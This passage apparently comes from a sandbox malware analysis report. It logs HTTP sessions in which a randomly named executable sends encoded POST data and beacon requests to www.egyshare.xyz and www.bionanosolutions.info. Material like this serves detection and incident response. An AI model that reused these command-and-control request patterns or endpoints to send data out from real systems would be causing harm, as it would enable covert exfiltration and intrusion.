3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 [TRUNCATED] Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	53149	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:08.760742903 CET	804	OUT	POST /lu7u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.egyshare.xyz Origin: http://www.egyshare.xyz Referer: http://www.egyshare.xyz/lu7u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 2f 62 37 47 67 69 4f 63 6b 36 53 4b 38 44 42 71 56 76 50 36 70 79 5a 48 67 53 46 61 51 78 6a 48 79 64 37 78 70 47 50 68 4a 7a 52 51 36 67 31 79 52 4a 4b 62 50 76 50 62 4d 64 33 44 38 4f 66 68 4d 62 36 2b 4d 42 66 47 31 51 4a 69 6a 43 4d 33 7a 67 38 48 55 48 6a 37 63 48 45 78 49 7a 45 6d 79 45 34 77 74 71 55 47 57 50 47 38 67 4a 57 31 4f 5a 43 2f 66 77 50 35 49 4f 67 5a 56 70 62 4a 58 47 77 4f 31 45 59 2f 51 7a 4c 6e 77 62 7a 58 6f 34 57 4f 77 4b 70 54 71 72 48 4f 57 39 63 72 72 33 37 73 65 37 45 2b 6f 6a 75 4a 30 6c 4d 39 70 33 49 46 4c 4e 61 35 70 61 6e 56 4a 50 57 35 35 75 41 6f 76 35 4b 55 69 79 6f 56 4f 54 4c 78 38 77 3d 3d Data Ascii: 0PIXBf9=/b7GgiOck6SK8DBqVvP6pyZHgSFaQxjHyd7xpGPhJzRQ6g1yRJKbPvPbMd3D8OfhMb6+MBfG1QJijCM3zg8HUHj7cHExIzEmyE4wtqUGWPG8gJW1OZC/fwP5IOgZVpbJXGwO1EY/QzLnwbzXo4WOwKpTqrHOW9crr37se7E+ojuJ0lM9p3IFLNa5panVJPW55uAov5KUiyoVOTLx8w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	53150	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:11.312334061 CET	824	OUT	POST /lu7u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.egyshare.xyz Origin: http://www.egyshare.xyz Referer: http://www.egyshare.xyz/lu7u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 2f 62 37 47 67 69 4f 63 6b 36 53 4b 74 52 56 71 4f 4e 6e 36 76 53 5a 45 73 79 46 61 5a 52 6a 44 79 64 6e 78 70 43 2f 78 4a 46 68 51 37 45 35 79 51 4e 65 62 49 76 50 62 48 39 33 4b 78 75 65 6a 4d 62 33 4c 4d 41 6a 47 31 51 4e 69 6a 41 55 33 7a 52 38 45 53 58 6a 39 56 6e 45 7a 4c 44 45 6d 79 45 34 77 74 71 6f 73 57 50 65 38 67 35 6d 31 4e 38 2b 2b 45 51 50 36 65 2b 67 5a 52 70 62 33 58 47 77 34 31 41 41 5a 51 78 6a 6e 77 65 58 58 70 70 57 42 2b 4b 70 52 6e 4c 47 4a 53 49 70 37 72 56 48 50 58 62 51 62 77 54 75 5a 31 54 4e 66 7a 56 45 70 56 63 69 43 74 59 44 6a 65 70 4c 4d 37 76 45 77 69 62 2b 31 39 46 4e 2f 44 42 71 31 71 4e 66 72 48 48 33 61 31 30 70 68 7a 4a 58 4d 47 53 4b 63 37 69 73 3d Data Ascii: 0PIXBf9=/b7GgiOck6SKtRVqONn6vSZEsyFaZRjDydnxpC/xJFhQ7E5yQNebIvPbH93KxuejMb3LMAjG1QNijAU3zR8ESXj9VnEzLDEmyE4wtqosWPe8g5m1N8++EQP6e+gZRpb3XGw41AAZQxjnweXXppWB+KpRnLGJSIp7rVHPXbQbwTuZ1TNfzVEpVciCtYDjepLM7vEwib+19FN/DBq1qNfrHH3a10phzJXMGSKc7is=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	53151	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:13.867085934 CET	1837	OUT	POST /lu7u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.egyshare.xyz Origin: http://www.egyshare.xyz Referer: http://www.egyshare.xyz/lu7u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 2f 62 37 47 67 69 4f 63 6b 36 53 4b 74 52 56 71 4f 4e 6e 36 76 53 5a 45 73 79 46 61 5a 52 6a 44 79 64 6e 78 70 43 2f 78 4a 47 42 51 36 78 6c 79 51 71 69 62 4a 76 50 62 63 64 33 48 78 75 65 69 4d 62 66 50 4d 41 75 6b 31 53 46 69 69 6c 49 33 31 6c 67 45 62 58 6a 39 58 6e 45 32 49 7a 46 6b 79 45 70 37 74 72 45 73 57 50 65 38 67 2f 4b 31 61 35 43 2b 44 67 50 35 49 4f 67 76 56 70 62 4d 58 43 6b 6f 31 41 55 76 51 68 44 6e 77 2b 48 58 72 61 2b 42 68 36 70 50 70 72 47 72 53 49 73 68 72 56 72 44 58 59 4d 39 77 55 69 5a 34 6b 34 6c 71 45 77 7a 52 66 4c 65 72 59 6e 6d 51 4c 6e 45 31 74 55 58 6b 34 6d 58 36 58 39 48 50 6a 4f 72 38 71 71 57 66 57 76 79 77 47 63 35 2b 65 4f 70 64 48 65 34 67 47 43 50 6d 33 4a 51 6b 54 4d 79 77 74 50 68 55 41 30 6a 49 36 37 74 44 56 78 75 45 6c 5a 6d 75 2b 50 4a 69 31 72 50 51 4b 42 72 56 47 77 72 68 57 56 6f 56 35 6b 61 78 76 6f 41 37 5a 78 5a 30 74 55 53 37 39 32 6c 4c 63 63 49 2f 77 6f 69 70 51 51 71 75 50 7a 51 6c 47 52 4c 6c 71 62 7a 32 34 67 38 37 71 [TRUNCATED] Data Ascii: 0PIXBf9=/b7GgiOck6SKtRVqONn6vSZEsyFaZRjDydnxpC/xJGBQ6xlyQqibJvPbcd3HxueiMbfPMAuk1SFiilI31lgEbXj9XnE2IzFkyEp7trEsWPe8g/K1a5C+DgP5IOgvVpbMXCko1AUvQhDnw+HXra+Bh6pPprGrSIshrVrDXYM9wUiZ4k4lqEwzRfLerYnmQLnE1tUXk4mX6X9HPjOr8qqWfWvywGc5+eOpdHe4gGCPm3JQkTMywtPhUA0jI67tDVxuElZmu+PJi1rPQKBrVGwrhWVoV5kaxvoA7ZxZ0tUS792lLccI/woipQQquPzQlGRLlqbz24g87qVohv43WTOD/8nkb2HHr3cy40n5S/Pmu4C7DgnrtjGj+DHkXGJfQaTJHXJoegGI1AKx/iXhgxs7ryGZIDVSQgkunDjYEy78PqyItxNYXl6iQMmSemI5kG3iMKxt+iBfIYlRLJe3+ypSN0E4zPD8Iy+6gw2CCduggZ5MUwV8g8YjowofcZ2sQ20pA/ouXfbDeYbqOE4uXdianRXFxfxa0HA3kByaicYGQZFRhkwhpMmWMPnBiZPJTfO/GGs+aUY0a1QmKnlNoUalFx+GLU/jo7Zw5fVbHSPFZK57niSaCVg2IGpENpsUk+en6tfT2vOB/YDX4mSl7+BQr8M56pIAVNR2TsqKVohvxeRLIiD6veynhu8VGkpZk5qRhf/9FvRqOr0TXsENkO6kwL2awrlVGou6aaIjzdg0iPkcrWXnXRM5jwEu+pIEaU17iOoyGLBMWaBGJyUBjS4PMSXItk1gsKjOHDqSyyXfiDaT79zbtnkqFbsg21dIQ9FzRaMf3B3u7s1exEOakgFaLXuwo56ii4cY4Wj0H9AI8byyuqxHau+a3ldYKPyLxQ1eeVVdzp1yRGXHqqp5N3JaONRMiQ2hpxqIwjV/p4M3KYyQYoZtZPgMpmgXRNCsm7LLv0TKZMC3KyV2Wpzw6HVMj0CgXPQ3U+dzky5g3867Z6OZ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	53152	13.248.169.48	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:16.408215046 CET	541	OUT	GET /lu7u/?tD_=f00xUVKh&0PIXBf9=yZTmjXW21Nq5wh91IMf/kDRGkUZ+XT2lkv3n4X6DMmMz0B5xbYyQHfDnacj01uuzec64BAri/1xnyBkH0yVWWE7yUWUVCQJ95ExXsfUTBKKOk42MManlE2uXf/wCPPD1XSw9siMiJ2ze HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.egyshare.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:13:17.060798883 CET	416	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 18 Nov 2024 12:13:16 GMT Content-Type: text/html Content-Length: 276 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 44 5f 3d 66 30 30 78 55 56 4b 68 26 30 50 49 58 42 66 39 3d 79 5a 54 6d 6a 58 57 32 31 4e 71 35 77 68 39 31 49 4d 66 2f 6b 44 52 47 6b 55 5a 2b 58 54 32 6c 6b 76 33 6e 34 58 36 44 4d 6d 4d 7a 30 42 35 78 62 59 79 51 48 66 44 6e 61 63 6a 30 31 75 75 7a 65 63 36 34 42 41 72 69 2f 31 78 6e 79 42 6b 48 30 79 56 57 57 45 37 79 55 57 55 56 43 51 4a 39 35 45 78 58 73 66 55 54 42 4b 4b 4f 6b 34 32 4d 4d 61 6e 6c 45 32 75 58 66 2f 77 43 50 50 44 31 58 53 77 39 73 69 4d 69 4a 32 7a 65 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tD_=f00xUVKh&0PIXBf9=yZTmjXW21Nq5wh91IMf/kDRGkUZ+XT2lkv3n4X6DMmMz0B5xbYyQHfDnacj01uuzec64BAri/1xnyBkH0yVWWE7yUWUVCQJ95ExXsfUTBKKOk42MManlE2uXf/wCPPD1XSw9siMiJ2ze"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	53153	176.117.73.104	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:22.397254944 CET	831	OUT	POST /i6zb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.bionanosolutions.info Origin: http://www.bionanosolutions.info Referer: http://www.bionanosolutions.info/i6zb/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 33 44 65 66 34 35 59 58 37 2b 6c 41 6b 79 72 41 62 77 71 39 68 74 46 53 69 2f 57 6c 41 48 4e 44 31 50 53 63 67 75 44 66 6d 4a 30 30 30 32 45 44 76 55 71 38 30 36 57 54 47 31 2f 2b 78 4e 68 51 68 52 6c 51 34 2b 55 76 37 4f 59 33 63 2b 4f 5a 6e 35 67 50 6c 47 74 69 38 39 59 6d 53 6c 46 73 67 64 65 2f 75 51 62 36 6d 2b 6a 75 66 61 53 38 37 4d 74 31 4e 71 7a 77 70 68 62 78 52 46 71 76 67 48 31 38 53 32 4a 4a 64 69 6f 64 6d 49 68 7a 58 62 5a 53 67 43 63 4f 42 73 68 73 33 6e 43 38 50 2b 7a 51 46 58 33 54 72 7a 30 34 62 6b 76 32 30 30 77 6e 5a 2b 6e 32 75 56 71 7a 35 56 50 31 54 44 57 59 52 36 4f 41 44 37 6b 6e 71 6e 61 50 4f 77 3d 3d Data Ascii: 0PIXBf9=3Def45YX7+lAkyrAbwq9htFSi/WlAHND1PScguDfmJ0002EDvUq806WTG1/+xNhQhRlQ4+Uv7OY3c+OZn5gPlGti89YmSlFsgde/uQb6m+jufaS87Mt1NqzwphbxRFqvgH18S2JJdiodmIhzXbZSgCcOBshs3nC8P+zQFX3Trz04bkv200wnZ+n2uVqz5VP1TDWYR6OAD7knqnaPOw==
Nov 18, 2024 13:13:23.041517973 CET	711	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.26.2 Date: Mon, 18 Nov 2024 12:13:22 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	53154	176.117.73.104	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:24.992558002 CET	851	OUT	POST /i6zb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.bionanosolutions.info Origin: http://www.bionanosolutions.info Referer: http://www.bionanosolutions.info/i6zb/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 33 44 65 66 34 35 59 58 37 2b 6c 41 6b 53 62 41 49 44 79 39 70 74 46 64 38 76 57 6c 5a 33 4e 48 31 50 65 63 67 71 54 78 6d 36 41 30 30 54 34 44 39 6d 53 38 68 36 57 54 53 46 2f 2f 73 39 68 6c 68 52 35 59 34 2b 6f 76 37 4f 38 33 63 2b 2b 5a 6e 4f 30 4d 71 32 74 67 6c 74 59 6b 63 46 46 73 67 64 65 2f 75 51 6e 41 6d 2b 4c 75 44 34 47 38 39 6f 5a 30 41 4b 7a 7a 68 42 62 78 41 31 71 72 67 48 30 5a 53 7a 70 33 64 67 51 64 6d 4a 52 7a 58 76 46 52 72 43 63 4d 4f 4d 68 79 2b 31 66 6d 43 4f 62 7a 4b 42 2f 55 75 69 30 6b 61 53 75 55 75 57 38 4c 48 76 66 4e 71 58 4f 46 75 7a 53 41 52 43 53 41 63 59 36 68 63 4d 42 4e 6e 31 37 4c 59 45 56 72 32 46 37 70 30 31 6a 61 4d 4b 65 46 44 46 46 43 58 6a 63 3d Data Ascii: 0PIXBf9=3Def45YX7+lAkSbAIDy9ptFd8vWlZ3NH1PecgqTxm6A00T4D9mS8h6WTSF//s9hlhR5Y4+ov7O83c++ZnO0Mq2tgltYkcFFsgde/uQnAm+LuD4G89oZ0AKzzhBbxA1qrgH0ZSzp3dgQdmJRzXvFRrCcMOMhy+1fmCObzKB/Uui0kaSuUuW8LHvfNqXOFuzSARCSAcY6hcMBNn17LYEVr2F7p01jaMKeFDFFCXjc=
Nov 18, 2024 13:13:25.766143084 CET	711	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.26.2 Date: Mon, 18 Nov 2024 12:13:25 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	53155	176.117.73.104	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:27.777478933 CET	1864	OUT	POST /i6zb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.bionanosolutions.info Origin: http://www.bionanosolutions.info Referer: http://www.bionanosolutions.info/i6zb/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 33 44 65 66 34 35 59 58 37 2b 6c 41 6b 53 62 41 49 44 79 39 70 74 46 64 38 76 57 6c 5a 33 4e 48 31 50 65 63 67 71 54 78 6d 37 34 30 30 68 67 44 73 78 2b 38 7a 4b 57 54 52 46 2f 36 73 39 68 34 68 52 78 63 34 2b 6b 56 37 4d 55 33 64 64 47 5a 68 37 49 4d 78 6d 74 67 71 4e 59 70 53 6c 46 35 67 64 50 32 75 51 58 41 6d 2b 4c 75 44 34 71 38 71 73 74 30 54 36 7a 77 70 68 62 31 52 46 71 58 67 48 73 76 53 7a 6c 6e 65 51 77 64 6d 70 42 7a 4d 36 5a 52 33 53 63 4b 4a 4d 67 68 2b 31 53 34 43 4f 48 2f 4b 42 6a 36 75 67 6b 6b 61 6a 4c 59 77 45 34 4e 47 75 72 31 30 32 57 51 76 43 69 4b 62 42 53 48 63 5a 53 55 55 64 45 33 6a 56 62 7a 57 41 55 32 6b 58 58 58 34 47 44 68 44 74 6e 4b 65 47 74 64 50 47 47 4b 76 47 50 6d 37 72 39 7a 56 39 45 68 2b 49 44 67 4b 4d 68 66 4c 6c 4e 37 59 52 66 77 72 53 4d 70 34 33 31 65 34 56 32 4d 55 61 63 6a 6d 61 41 2b 70 51 6a 37 53 61 53 37 46 64 43 4a 41 61 71 4f 59 6f 4e 7a 47 55 54 37 6b 35 4b 68 33 68 4d 30 6d 4e 5a 7a 41 68 53 78 52 6d 35 6d 34 70 72 48 44 65 [TRUNCATED] Data Ascii: 0PIXBf9=3Def45YX7+lAkSbAIDy9ptFd8vWlZ3NH1PecgqTxm7400hgDsx+8zKWTRF/6s9h4hRxc4+kV7MU3ddGZh7IMxmtgqNYpSlF5gdP2uQXAm+LuD4q8qst0T6zwphb1RFqXgHsvSzlneQwdmpBzM6ZR3ScKJMgh+1S4COH/KBj6ugkkajLYwE4NGur102WQvCiKbBSHcZSUUdE3jVbzWAU2kXXX4GDhDtnKeGtdPGGKvGPm7r9zV9Eh+IDgKMhfLlN7YRfwrSMp431e4V2MUacjmaA+pQj7SaS7FdCJAaqOYoNzGUT7k5Kh3hM0mNZzAhSxRm5m4prHDeoRiM4bOG1x3AHRc+eAjEQt2sI5+y0mAFDlPCVczxBlKq+Jpqf2w9zxaIz/juQFsj9d+tC+CaSwmtPsvRoS7IMXyX1q7X0UEX7+mFzGzsOyl6719P5hmTTGC6bkcYRPHYDACJtUnHen+Z9MOxRfbL1gzsYIOP3CpakRXvz1ij8DdOcM0vJlNDNrVKBX3iqUHc20Syo5lAWUCd/8Dt2LuzyoRFC4dVHwI0df1G9T1Y2CjhdoDUstn/cYx+WnPyA+prKzOnFWlYPnwIx+qRGzk/Ijpvu6Q4X36j+hU+5b4tQOEXnzY8HB4pGjCxL2SB7DXlUsZoq6WNLWEJCUPqpINEXBoBTL3joStBRXsVL/hg+jLO7E5BZdDNk0x1AZWX8SyrFQ73V5i2h9G4eZhP9qs5GFdd3q8w4uCkxiBJe1hYGhtql9MaQm3syxjCCKgs/EBJdmkP2Ma9Qut8Xdozc0gQu8ip1JWoRgKAo87acgiwhjLudNUCWXC2+gnwsSRwEqWfJf9IcXOme1O3tkd1dW+6KkRhogBLXVLp4XWNFUZbN7PxGlJdOGsMbHdMS4ZYfpUvPY5DLPFG1Gea/K1Q4Y2SgOUIjm2QmO/S+Fl6f1dP5OwytAYS89VfE62Q2YY50hTGBPTYw/uXHI1RmrwYGpz8lhfn0K6hANwCgC [TRUNCATED]
Nov 18, 2024 13:13:28.587275982 CET	711	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.26.2 Date: Mon, 18 Nov 2024 12:13:28 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
